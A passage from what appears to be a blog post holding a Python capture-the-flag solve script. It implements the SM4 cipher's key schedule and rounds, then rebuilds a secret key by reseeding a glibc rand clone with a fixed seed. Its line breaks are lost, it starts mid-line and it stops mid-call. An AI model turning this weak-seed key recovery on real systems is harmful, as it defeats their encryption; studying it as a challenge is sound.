[0] * 32 def set_key(self, key, mode): MK = [0] * 4 k = [0] * 36 MK[0] = GET_UINT32_BE(key, 0) MK[1] = GET_UINT32_BE(key, 4) MK[2] = GET_UINT32_BE(key, 8) MK[3] = GET_UINT32_BE(key, 12) k[0] = MK[0] ^ FK[0] k[1] = MK[1] ^ FK[1] k[2] = MK[2] ^ FK[2] k[3] = MK[3] ^ FK[3] for i in range(32): k[i+4] = k[i] ^ sm4_calci_rk(sm4_t_new(k[i+1] ^ k[i+2] ^ k[i+3] ^ CK[i])) self.rk[i] = k[i+4] if mode == 0: self.rk.reverse() def one_round(self, sk, input_data): output_data = bytearray(16) ulbuf = [0] * 36 ulbuf[0] = GET_UINT32_BE(input_data, 0) ulbuf[1] = GET_UINT32_BE(input_data, 4) ulbuf[2] = GET_UINT32_BE(input_data, 8) ulbuf[3] = GET_UINT32_BE(input_data, 12) for i in range(32): ulbuf[i+4] = sm4_l_t(sm4_t_new(ulbuf[i+1] ^ ulbuf[i+2] ^ ulbuf[i+3] ^ sk[i])) ^ ulbuf[i] PUT_UINT32_BE(ulbuf[35], output_data, 0) PUT_UINT32_BE(ulbuf[34], output_data, 4) PUT_UINT32_BE(ulbuf[33], output_data, 8) PUT_UINT32_BE(ulbuf[32], output_data, 12) return output_data def solve(): seed = 0x34952046 print(f"Seed: {hex(seed)}") rng = GlibcRand(seed) key_ints = [rng.rand() for _ in range(4)] print(f"Generated Random Ints: {[hex(x) for x in key_ints]}") key_bytes = b''.join([struct.pack('
没有评论